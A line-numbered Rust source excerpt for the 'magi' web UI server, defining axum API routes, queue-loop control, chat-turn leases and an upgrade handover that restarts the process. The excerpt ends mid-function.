1#[cfg(test)]
95pub(crate) mod request_cost;
96
97use std::collections::{HashMap, HashSet};
98use std::convert::Infallible;
99use std::net::{IpAddr, Ipv4Addr, SocketAddr};
100use std::path::{Path as FsPath, PathBuf};
101use std::pin::Pin;
102use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
103use std::time::Duration;
104use tokio::sync::Notify;
105
106use anyhow::{Context, Result};
107use axum::Json;
108use axum::Router;
109use axum::body::Bytes;
110use axum::extract::rejection::JsonRejection;
111use axum::extract::{DefaultBodyLimit, Path, Query, State};
112use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
113use axum::response::sse::{Event, KeepAlive, Sse};
114use axum::response::{IntoResponse, Response};
115use axum::routing::{get, post, put};
116use jiff::Timestamp;
117use serde::{Deserialize, Serialize};
118use tokio_stream::StreamExt as _;
119use tokio_stream::wrappers::ReceiverStream;
120
121use crate::agent;
122use crate::ask::{self, Answer, Question, Questions};
123use crate::config::{AgentKind, Config, Update, UpdateMode};
124use crate::md;
125use crate::notices::{Notice, Notices};
126use crate::persona;
127use crate::persona_icon;
128use crate::proc::Quiet as _;
129use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
130use crate::run::{RunState, RunStatus};
131use crate::talk::{Talk, Talks};
132use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
133
134pub const DEFAULT_PORT: u16 = 7878;
136
137const POLL: Duration = Duration::from_secs(1);
139
140const KEEPALIVE: Duration = Duration::from_secs(15);
144
145const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
156
157const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
160
161const LIST_DEFAULT: usize = 50;
165const LIST_MAX: usize = 500;
167
168const TITLE_MAX: usize = 72;
170
171const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
180
181const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
187
188const FILENAME_HEADER: &str = "x-filename";
192
193const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
216 font-src data:; base-uri 'none'; form-action 'none'; \
217 frame-ancestors 'self'";
218
219const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
220const APP_CSS: &str = include_str!("../assets/ui/app.css");
221const APP_JS: &str = include_str!("../assets/ui/app.js");
222
223#[derive(Debug, Clone, Copy, PartialEq, Eq)]
225pub enum Bind {
226 Auto,
228 Addr(IpAddr),
230}
231
232impl std::str::FromStr for Bind {
233 type Err = String;
234
235 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
239 if s.eq_ignore_ascii_case("auto") {
240 return Ok(Self::Auto);
241 }
242 s.parse()
243 .map(Self::Addr)
244 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
245 }
246}
247
248impl std::fmt::Display for Bind {
249 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
250 match self {
251 Self::Auto => f.write_str("auto"),
252 Self::Addr(addr) => write!(f, "{addr}"),
253 }
254 }
255}
256
257#[derive(Debug, Clone)]
259pub struct Opts {
260 pub bind: Bind,
262 pub port: u16,
264 pub repo: PathBuf,
266 pub open: bool,
269 pub merge: Option<String>,
277}
278
279impl Default for Opts {
280 fn default() -> Self {
281 Self {
282 bind: Bind::Auto,
283 port: DEFAULT_PORT,
284 repo: PathBuf::from("."),
285 open: false,
286 merge: None,
287 }
288 }
289}
290
291#[derive(Debug, Clone)]
297pub struct Ui {
298 queue: Queue,
299 questions: Questions,
300 notices: Notices,
303 talks: Talks,
304 runs: PathBuf,
305 home: PathBuf,
306 repo: PathBuf,
307 worktrees_root: PathBuf,
314 talk_turns: Arc<Mutex<TalkTurns>>,
322 upgrade_gate: Arc<tokio::sync::Mutex<()>>,
326 upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
329 resuming: Arc<Mutex<HashSet<String>>>,
337 repos_cache: repos::Cache,
341 machine_config: Option<PathBuf>,
345 merge: Option<String>,
347 looping: Arc<Mutex<LoopState>>,
349 launch: Launch,
361 #[cfg(test)]
364 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
365}
366
367#[cfg(test)]
387struct BusyQueueGate {
388 reached: tokio::sync::oneshot::Sender<()>,
389 release: std::sync::mpsc::Receiver<()>,
390}
391
392#[cfg(test)]
393impl std::fmt::Debug for BusyQueueGate {
394 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
395 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
396 }
397}
398
399impl Ui {
400 pub fn new(
402 queue: Queue,
403 questions: Questions,
404 talks: Talks,
405 runs: PathBuf,
406 home: PathBuf,
407 repo: PathBuf,
408 ) -> Self {
409 Self {
410 queue,
411 questions,
412 notices: Notices::at(home.join("notifications")),
413 talks,
414 runs,
415 home,
416 repo,
417 worktrees_root: run::default_worktree_root(),
421 talk_turns: Arc::default(),
422 upgrade_gate: Arc::default(),
423 upgrade_spawned: Arc::default(),
424 resuming: Arc::default(),
425 repos_cache: repos::Cache::new(),
426 machine_config: Config::machine_layer(),
427 merge: None,
428 looping: Arc::default(),
429 launch: launch_daemon,
430 #[cfg(test)]
431 busy_queue_gate: Arc::default(),
432 }
433 }
434
435 pub fn open(repo: PathBuf) -> Self {
438 Self::new(
439 Queue::open(),
440 Questions::open(),
441 Talks::open(),
442 run::runs_root(),
443 run::home(),
444 repo,
445 )
446 }
447
448 #[must_use]
455 pub fn with_merge(mut self, merge: Option<String>) -> Self {
456 self.merge = merge;
457 self
458 }
459
460 #[cfg(test)]
463 #[must_use]
464 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
465 self.machine_config = path;
466 self
467 }
468
469 #[must_use]
474 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
475 self.worktrees_root = root;
476 self
477 }
478
479 #[cfg(test)]
484 #[must_use]
485 fn with_launch(mut self, launch: Launch) -> Self {
486 self.launch = launch;
487 self
488 }
489
490 #[cfg(test)]
500 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
501 *self
502 .busy_queue_gate
503 .lock()
504 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
505 }
506
507 fn looping(&self) -> Arc<Mutex<LoopState>> {
509 Arc::clone(&self.looping)
510 }
511
512 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
519 if let Some(other) = foreign {
520 return Err(ApiError::conflict(format!(
521 "{} is already running the loop, so this one will not start a \
522 second: two loops on one queue race for the same claims and \
523 burn the agent quota twice over. Stop it where it was \
524 started.",
525 other.who()
526 )));
527 }
528 let mut state = self.lock_loop();
529 if state.live.as_ref().is_some_and(Live::alive) {
530 return Err(ApiError::conflict(format!(
531 "this magi web process (pid {}) is already running the loop",
532 std::process::id()
533 )));
534 }
535
536 let stop = daemon::Stop::new();
537 let opts = daemon::Opts {
541 repo: self.repo.clone(),
542 merge: self.merge.clone(),
543 worktrees_root: Some(self.worktrees_root.clone()),
550 ..daemon::Opts::default()
551 };
552 let launch = self.launch;
553 let looping = Arc::clone(&self.looping);
554 let handle = tokio::spawn({
555 let opts = opts.clone();
556 let stop = stop.clone();
557 async move {
558 let failure = match launch(opts, stop).await {
559 Ok(()) => None,
560 Err(e) => Some(format!("{e:#}")),
561 };
562 match &failure {
563 Some(why) => tracing::error!("the loop stopped: {why}"),
564 None => tracing::info!("the loop stopped"),
565 }
566 let mut state = lock_or_recover(&looping);
572 state.live = None;
573 state.last_error = failure;
574 state.rev += 1;
575 }
576 });
577 tracing::info!(
578 "the loop is now running in this process: repo {}, merge {}",
579 opts.repo.display(),
580 opts.merge.as_deref().unwrap_or("as the config says")
581 );
582 state.live = Some(Live { stop, handle, opts });
583 state.last_error = None;
586 state.rev += 1;
587 Ok(())
588 }
589
590 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
596 if let Some(other) = foreign {
597 return Err(ApiError::conflict(format!(
598 "the loop belongs to {}, and this process cannot stop it - \
599 stop it where it was started. A button that silently did \
600 nothing would be worse than this refusal.",
601 other.who()
602 )));
603 }
604 let mut state = self.lock_loop();
605 if !park {
608 state.resume_after_handover = false;
609 }
610 let Some(live) = state.live.as_ref() else {
611 return Ok(());
612 };
613 if live.stop.stopped() && (!park || live.stop.parking()) {
617 return Ok(());
618 }
619 if park {
620 live.stop.park(crate::run::ParkCause::Operator);
621 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
622 } else {
623 live.stop.stop();
624 tracing::info!("the loop was asked to stop; a run in flight is finished first");
625 }
626 state.rev += 1;
627 Ok(())
628 }
629
630 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
637 let state = self.lock_loop();
638 let live = state.live.as_ref().filter(|live| live.alive());
641 LoopView {
642 running: live.is_some(),
643 stopping: live.is_some_and(|live| live.stop.finishing()),
644 parking: live.is_some_and(|live| live.stop.parking()),
645 owned: live.is_some(),
646 repo: live
647 .map_or(&self.repo, |live| &live.opts.repo)
648 .display()
649 .to_string(),
650 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
651 last_error: state.last_error.clone(),
652 daemon: DaemonView::of(reading),
653 }
654 }
655
656 fn resume_after_handover(&self, resume: bool) -> bool {
662 if !resume {
663 return false;
664 }
665 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
666 match self.start_loop(foreign) {
667 Ok(()) => true,
668 Err(e) => {
669 let why = format!(
670 "the loop could not be resumed after the upgrade: {}",
671 e.message
672 );
673 tracing::warn!("{why}");
674 let mut state = self.lock_loop();
675 state.last_error = Some(why);
676 state.rev += 1;
677 false
678 }
679 }
680 }
681
682 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
684 lock_or_recover(&self.looping)
685 }
686
687 fn is_thinking(&self, id: &str) -> bool {
693 self.talk_turns
694 .lock()
695 .is_ok_and(|turns| turns.live.contains(id))
696 || self.talks.turn_held(id)
699 }
700
701 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
720 self.claim_talk_turn(id, false)
721 }
722
723 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
726 self.claim_talk_turn(id, true)
727 }
728
729 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
730 let mut live = self
731 .talk_turns
732 .lock()
733 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
734 if live.parking {
735 if queued {
736 *live.queued.entry(id.to_owned()).or_default() += 1;
739 return Ok(None);
740 }
741 return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
742 }
743 let inserted = live.live.insert(id.to_owned());
744 let lease = if inserted {
748 match self.talks.claim_turn(id) {
749 Ok(Some(lease)) => Some(lease),
750 Ok(None) => {
751 live.live.remove(id);
752 None
753 }
754 Err(e) => {
755 live.live.remove(id);
756 return Err(ApiError::from(e));
757 }
758 }
759 } else {
760 None
761 };
762 if lease.is_none() {
763 if queued {
764 *live.queued.entry(id.to_owned()).or_default() += 1;
769 }
770 return Ok(None);
771 }
772 Ok(Some(TalkTurnGuard {
773 talk: id.to_owned(),
774 turns: Arc::clone(&self.talk_turns),
775 released: false,
776 lease,
777 }))
778 }
779
780 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
785 let mut live = self
786 .talk_turns
787 .lock()
788 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
789 if live.parking || live.live.contains(id) {
791 return Ok(TalkTurnStart::Busy);
792 }
793 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
794 return Ok(TalkTurnStart::Foreign);
795 };
796 let talk = self.talks.get(id).map_err(ApiError::from)?;
798 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
799 return Ok(TalkTurnStart::Pending);
800 }
801 live.live.insert(id.to_owned());
802 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
803 talk: id.to_owned(),
804 turns: Arc::clone(&self.talk_turns),
805 released: false,
806 lease: Some(lease),
807 }))
808 }
809
810 fn queued_generation(&self, id: &str) -> u64 {
811 let live = self
812 .talk_turns
813 .lock()
814 .unwrap_or_else(PoisonError::into_inner);
815 live.queued.get(id).copied().unwrap_or(0)
816 }
817
818 fn turns(&self) -> Arc<Mutex<TalkTurns>> {
820 Arc::clone(&self.talk_turns)
821 }
822
823 fn park_for_upgrade(&self, from: &str, to: Option<&str>) -> ApiResult<Option<String>> {
830 let parking = {
831 let mut state = self.lock_loop();
832 let resume = state.resume_after_handover
842 || state
843 .live
844 .as_ref()
845 .is_some_and(|live| live.alive() && !live.stop.stopped());
846 state.resume_after_handover = resume;
847 let Some(live) = state.live.as_ref() else {
848 return Ok(None);
849 };
850 let busy = live.stop.busy_now();
851 live.stop.park(crate::run::ParkCause::Upgrade {
852 from: from.to_owned(),
853 to: to.map(|t| t.trim_start_matches('v').to_owned()),
854 });
855 state.rev += 1;
856 busy
857 };
858 Ok(if parking {
859 daemon::current_work(&self.home, jiff::Timestamp::now())
864 .into_iter()
865 .next()
866 .map(|c| c.run)
867 } else {
868 None
869 })
870 }
871
872 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
876 let mut live = self
877 .resuming
878 .lock()
879 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
880 if !live.insert(id.to_owned()) {
881 return Err(ApiError::conflict(format!(
882 "run {id} is already being resumed"
883 )));
884 }
885 Ok(ResumeGuard {
886 run: id.to_owned(),
887 resuming: Arc::clone(&self.resuming),
888 })
889 }
890
891 pub fn router(self) -> Router {
899 Router::new()
900 .route("/", get(index))
901 .route("/app.css", get(app_css))
902 .route("/app.js", get(app_js))
903 .route("/api/health", get(health))
904 .route("/api/loop", get(loop_get).post(loop_post))
905 .route("/api/upgrade", post(upgrade_post))
906 .route("/api/runs", get(runs_list))
907 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
908 .route("/api/runs/{id}/report", get(run_report))
909 .route("/api/runs/{id}/report.json", get(run_report_json))
910 .route("/api/runs/{id}/graft.diff", get(run_graft_diff))
911 .route("/api/runs/{id}/fold", post(run_fold))
912 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
913 .route("/api/runs/{id}/resume", post(run_resume))
914 .route("/api/queue", get(queue_list))
915 .route("/api/search", get(search_get))
916 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
917 .route("/api/stats", get(stats_get))
918 .route("/api/repos", get(repos_list))
919 .route("/api/settings", get(settings_get))
920 .route("/api/settings/roles", put(settings_put_roles))
921 .route("/api/queue/{id}/hold", post(queue_hold))
922 .route("/api/queue/{id}/release", post(queue_release))
923 .route("/api/queue/{id}/priority", post(queue_priority))
924 .route("/api/queue/{id}/urgent", post(queue_urgent))
925 .route("/api/queue/{id}/implementers", post(queue_implementers))
926 .route("/api/queue/{id}/attempt-limit", post(queue_attempt_limit))
927 .route("/api/queue/{id}/edit", post(queue_edit))
928 .route("/api/queue/{id}/done", post(queue_done))
929 .route("/api/questions", get(questions_list))
930 .route("/api/questions/{id}/answer", post(question_answer))
931 .route("/api/questions/{id}/say", post(question_say))
932 .route("/api/questions/{id}/consult", post(question_consult))
933 .route("/api/questions/{id}/panel", get(question_panel))
934 .route("/api/questions/{id}/panel/index.html", get(question_panel))
942 .route("/api/questions/{id}/panel/{name}", get(question_asset))
943 .route("/api/questions/{id}/asset/{name}", get(question_asset))
944 .route("/api/notifications", get(notifications_list))
945 .route("/api/notifications/read-all", post(notifications_read_all))
946 .route("/api/notifications/{id}/read", post(notification_read))
947 .route(
948 "/api/notifications/{id}/dismiss",
949 post(notification_dismiss),
950 )
951 .route("/api/talks", get(talks_list).post(talk_post))
952 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
953 .route("/api/talks/{id}/say", post(talk_say))
954 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
955 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
956 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
957 .route("/api/talks/{id}/agent", post(talk_agent))
958 .route("/api/talks/{id}/persona", post(talk_persona))
959 .route("/api/talks/{id}/implementers", post(talk_implementers))
960 .route("/api/talks/{id}/close", post(talk_close))
961 .route("/api/talks/{id}/reopen", post(talk_reopen))
962 .route(
968 "/api/talks/{id}/attachments",
969 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
970 )
971 .route(
972 "/api/talks/{id}/attachments/{att}",
973 get(talk_attachment_get),
974 )
975 .route("/api/talks/{id}/avatar", get(talk_avatar))
976 .route("/avatars/operator.svg", get(operator_avatar))
977 .route("/api/events", get(events))
978 .with_state(Arc::new(self))
979 }
980}
981
982const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
985
986#[derive(Debug)]
992struct TalkTurnGuard {
993 talk: String,
994 turns: Arc<Mutex<TalkTurns>>,
995 released: bool,
996 lease: Option<crate::talk::TurnLease>,
998}
999
1000#[derive(Debug, Default)]
1007struct TalkTurns {
1008 live: HashSet<String>,
1009 queued: HashMap<String, u64>,
1010 parking: bool,
1014}
1015
1016enum TalkTurnStart {
1019 Claimed(TalkTurnGuard),
1020 Busy,
1021 Foreign,
1024 Pending,
1025}
1026
1027impl TalkTurnGuard {
1028 fn owns(&self) -> bool {
1032 self.lease
1033 .as_ref()
1034 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1035 }
1036
1037 async fn respond(
1040 &self,
1041 talk: &mut Talk,
1042 talks: &Talks,
1043 cfg: &Config,
1044 text: &str,
1045 ) -> anyhow::Result<()> {
1046 let lease = self
1047 .lease
1048 .as_ref()
1049 .context("the turn guard no longer holds its lease")?;
1050 talk::respond(lease, talk, talks, cfg, text).await
1051 }
1052
1053 fn release(mut self, live: &mut TalkTurns) {
1056 self.lease = None;
1060 live.live.remove(&self.talk);
1061 live.queued.remove(&self.talk);
1062 self.released = true;
1063 }
1064}
1065
1066impl Drop for TalkTurnGuard {
1067 fn drop(&mut self) {
1068 if self.released {
1069 return;
1070 }
1071 drop(self.lease.take());
1073 if let Ok(mut live) = self.turns.lock() {
1074 live.live.remove(&self.talk);
1075 live.queued.remove(&self.talk);
1076 }
1077 }
1078}
1079
1080struct ResumeGuard {
1082 run: String,
1083 resuming: Arc<Mutex<HashSet<String>>>,
1084}
1085
1086impl Drop for ResumeGuard {
1087 fn drop(&mut self) {
1088 if let Ok(mut live) = self.resuming.lock() {
1089 live.remove(&self.run);
1090 }
1091 }
1092}
1093
1094async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1104 const WINDOW: Duration = Duration::from_secs(10);
1105 const GAP: Duration = Duration::from_millis(250);
1106
1107 let deadline = std::time::Instant::now() + WINDOW;
1108 let mut said = false;
1109 loop {
1110 match tokio::net::TcpListener::bind(socket).await {
1111 Ok(listener) => return Ok(listener),
1112 Err(e)
1113 if e.kind() == std::io::ErrorKind::AddrInUse
1114 && std::time::Instant::now() < deadline =>
1115 {
1116 if !said {
1117 said = true;
1118 tracing::info!(
1119 "{socket} is still held - waiting up to {}s for it, \
1120 which is what a restart looks like from here",
1121 WINDOW.as_secs()
1122 );
1123 }
1124 tokio::time::sleep(GAP).await;
1125 }
1126 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1127 }
1128 }
1129}
1130
1131static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1134
1135const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1137
1138fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1140 value.is_some_and(|v| v == "1")
1141}
1142
1143fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1166 let exe = std::env::current_exe().context("find this binary")?;
1167 let args: Vec<String> = std::env::args().skip(1).collect();
1168 updater::log_step(
1169 home,
1170 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1171 );
1172 let log_path = home.join(WEB_LOG);
1173 let open_log = || {
1174 std::fs::create_dir_all(home)?;
1175 std::fs::OpenOptions::new()
1176 .create(true)
1177 .append(true)
1178 .open(&log_path)
1179 };
1180 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1181 Ok(pair) => (
1182 std::process::Stdio::from(pair.0),
1183 std::process::Stdio::from(pair.1),
1184 ),
1185 Err(e) => {
1186 updater::log_warn(
1187 home,
1188 &format!(
1189 "could not open {}: {e}; the successor logs nowhere",
1190 log_path.display()
1191 ),
1192 );
1193 (std::process::Stdio::null(), std::process::Stdio::null())
1194 }
1195 };
1196
1197 let mut cmd = std::process::Command::new(&exe);
1198 if resume {
1199 cmd.env(RESUME_LOOP_ENV, "1");
1200 } else {
1201 cmd.env_remove(RESUME_LOOP_ENV);
1202 }
1203 cmd.args(&args)
1204 .stdin(std::process::Stdio::null())
1205 .stdout(out)
1206 .stderr(err);
1207 #[cfg(windows)]
1208 {
1209 use std::os::windows::process::CommandExt as _;
1210 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1213 }
1214 let child = cmd.spawn().context("start the successor")?;
1215 Ok(child.id())
1216}
1217
1218const WEB_LOG: &str = "web.log";
1220
1221async fn wait_for_handover(signal: &Notify) {
1225 signal.notified().await;
1226}
1227
1228pub async fn serve(opts: Opts) -> Result<()> {
1253 let (addr, warning) = resolve_bind(&opts.bind);
1254 if let Some(warning) = warning {
1255 tracing::warn!("{warning}");
1256 }
1257
1258 report::set_color(false);
1264
1265 let repo = normalize_default_repo(opts.repo).await;
1266 let ui = Ui::open(repo).with_merge(opts.merge);
1267 let home = ui.home.clone();
1272 let repo = ui.repo.clone();
1273 updater::reconcile_after_restart(&home);
1278 updater::log_step(
1279 &home,
1280 &format!(
1281 "web process started (version {}); handover log {}, successor output {}",
1282 env!("CARGO_PKG_VERSION"),
1283 updater::log_path(&home).display(),
1284 home.join(WEB_LOG).display()
1285 ),
1286 );
1287 updater::spawn_watchdog(home.clone());
1288 tokio::spawn(run_update_recheck(repo, home.clone()));
1297 let looping = ui.looping();
1298 let turns = ui.turns();
1299 let talk_store = ui.talks.clone();
1300 let socket = SocketAddr::new(addr, opts.port);
1301 let listener = bind_waiting(socket).await?;
1302 let url = format!("http://{addr}:{}", opts.port);
1303 tracing::info!(
1304 "magi web UI on {url} - there is no authentication, so anyone who can \
1305 reach this address can file and hold tasks: the tailnet is the \
1306 security boundary"
1307 );
1308 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1309 tracing::info!("resumed the loop the predecessor was running");
1310 } else {
1311 tracing::info!(
1312 "the queue loop is not running yet - start it from the UI, which is \
1313 the whole reason this process can: nothing in the queue moves until \
1314 something is running the loop"
1315 );
1316 }
1317 if opts.open {
1318 println!("{url}");
1322 }
1323
1324 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1327 let interrupted = async {
1328 if tokio::signal::ctrl_c().await.is_err() {
1329 std::future::pending::<()>().await;
1334 }
1335 };
1336 let handover = wait_for_handover(&HANDOVER);
1337 let outcome = tokio::select! {
1338 joined = &mut served => match joined {
1339 Ok(outcome) => outcome.context("serve the web UI"),
1340 Err(e) => Err(e).context("the task serving the web UI ended"),
1341 },
1342 () = interrupted => {
1343 tracing::info!("shutting down the web UI");
1344 finish_loop(&home, &looping, None).await;
1345 Ok(())
1346 }
1347 () = handover => {
1348 updater::log_step(&home, "serve: the select! woke on the handover signal");
1349 let successor_home = home.clone();
1350 let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1351 hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1352 spawn_successor(&successor_home, resume)
1353 })
1354 .await
1355 }
1356 };
1357 updater::log_step(
1358 &home,
1359 &match &outcome {
1360 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1361 Err(e) => format!("serve: returning an error: {e:#}"),
1362 },
1363 );
1364 outcome
1365}
1366
1367async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1388 if repo != FsPath::new(".") {
1389 return repo;
1390 }
1391 let Ok(canonical) = repo.canonicalize() else {
1392 return repo;
1393 };
1394 if git::toplevel(&canonical).await.is_ok() {
1395 return repo;
1396 }
1397 let Some(home) = dirs::home_dir() else {
1398 return repo;
1399 };
1400 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1401 Some(found) => {
1402 tracing::info!(
1403 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1404 canonical.display(),
1405 found.path.display(),
1406 found.reason,
1407 );
1408 found.path
1409 }
1410 None => repo,
1411 }
1412}
1413
1414async fn hand_over(
1444 home: &FsPath,
1445 looping: &Mutex<LoopState>,
1446 turns: &Arc<Mutex<TalkTurns>>,
1447 talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1448 served: tokio::task::JoinHandle<std::io::Result<()>>,
1449 successor: impl FnOnce(bool) -> Result<u32>,
1450) -> Result<()> {
1451 updater::log_step(home, "hand_over: entered; writing the parking stage");
1452 let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1456 if !recorded {
1457 updater::log_warn(
1458 home,
1459 "hand_over: upgrade.json is unreadable; no parking stage",
1460 );
1461 }
1462 finish_loop(home, looping, Some(&mut lease)).await;
1467 let parking = ParkingTurns::begin(turns);
1468 let talks_done = finish_talks(home, turns, talk_wait);
1469 tokio::pin!(talks_done);
1470 let mut beat = tokio::time::interval(LEASE_BEAT);
1471 let (abandoned, waited_for) = loop {
1472 tokio::select! {
1473 left = &mut talks_done => break left,
1474 _ = beat.tick() => lease.beat(),
1475 }
1476 };
1477 drop(lease);
1478 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1479 served.abort();
1480 let _ = served.await;
1481 updater::log_step(home, "hand_over: listener released");
1482 let resume = lock_or_recover(looping).resume_after_handover;
1485 match updater::read_progress(home) {
1486 Some(mut progress) => {
1487 progress.advance(updater::Stage::Restarting);
1488 if !abandoned.is_empty() {
1489 progress.detail = Some(format!(
1490 "handed over while {} still running after {} s",
1491 updater::talks_phrase(&abandoned),
1492 waited_for.as_secs()
1493 ));
1494 }
1495 updater::write_progress_logged(home, &progress);
1496 }
1497 None => updater::log_warn(
1498 home,
1499 "hand_over: upgrade.json is unreadable; no restarting stage",
1500 ),
1501 }
1502 updater::log_step(
1503 home,
1504 &format!("hand_over: starting the successor (resume={resume})"),
1505 );
1506 drop(parking);
1507 match successor(resume) {
1508 Ok(pid) => {
1509 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1510 Ok(())
1511 }
1512 Err(e) => {
1513 updater::log_warn(
1514 home,
1515 &format!("hand_over: the successor did not start: {e:#}"),
1516 );
1517 Err(e)
1518 }
1519 }
1520}
1521
1522const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1525
1526const TALK_POLL: Duration = Duration::from_millis(250);
1528
1529fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1532 Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1533}
1534
1535fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1540 let default = Config::default().graph.timeout_talk;
1541 let longest = ids
1542 .iter()
1543 .map(|id| {
1544 talks
1545 .get(id)
1546 .ok()
1547 .and_then(|t| Config::discover(&t.repo, None).ok())
1548 .map_or(default, |(c, _)| c.graph.timeout_talk)
1549 })
1550 .max()
1551 .unwrap_or(default);
1552 talk_wait_bound(longest)
1553}
1554
1555struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1559
1560impl ParkingTurns {
1561 fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1562 turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1563 Self(Arc::clone(turns))
1564 }
1565}
1566
1567impl Drop for ParkingTurns {
1568 fn drop(&mut self) {
1569 self.0
1570 .lock()
1571 .unwrap_or_else(PoisonError::into_inner)
1572 .parking = false;
1573 }
1574}
1575
1576async fn finish_talks(
1581 home: &FsPath,
1582 turns: &Mutex<TalkTurns>,
1583 bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1584) -> (Vec<String>, Duration) {
1585 let running = || {
1586 let mut ids: Vec<String> = turns
1587 .lock()
1588 .unwrap_or_else(PoisonError::into_inner)
1589 .live
1590 .iter()
1591 .cloned()
1592 .collect();
1593 let talks = talk::Talks::at(home.join("talks"));
1596 for t in talks.list() {
1597 if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1598 ids.push(t.id);
1599 }
1600 }
1601 ids.sort();
1602 ids
1603 };
1604 let started = std::time::Instant::now();
1605 let mut seen = Vec::new();
1606 let mut bound = Duration::ZERO;
1607 loop {
1608 let ids = running();
1609 if ids != seen {
1610 bound = bound.max(bound_for(&ids));
1611 if ids.is_empty() {
1612 updater::log_step(home, "finish_talks: no chat turn is running");
1613 } else {
1614 updater::log_step(
1615 home,
1616 &format!(
1617 "finish_talks: waiting for {} to finish",
1618 updater::talks_phrase(&ids)
1619 ),
1620 );
1621 }
1622 updater::set_parked_talks(home, &ids);
1623 seen = ids;
1624 }
1625 if seen.is_empty() {
1626 return (Vec::new(), bound);
1627 }
1628 if started.elapsed() >= bound {
1629 updater::log_warn(
1630 home,
1631 &format!(
1632 "finish_talks: {} still running after {} s; handing over anyway",
1633 updater::talks_phrase(&seen),
1634 bound.as_secs()
1635 ),
1636 );
1637 return (seen, bound);
1638 }
1639 tokio::time::sleep(TALK_POLL).await;
1640 }
1641}
1642
1643const LEASE_BEAT: Duration = Duration::from_secs(20);
1646
1647async fn finish_loop(
1654 home: &FsPath,
1655 state: &Mutex<LoopState>,
1656 mut lease: Option<&mut updater::LeaseGuard>,
1657) {
1658 let live = lock_or_recover(state).live.take();
1659 let Some(live) = live else {
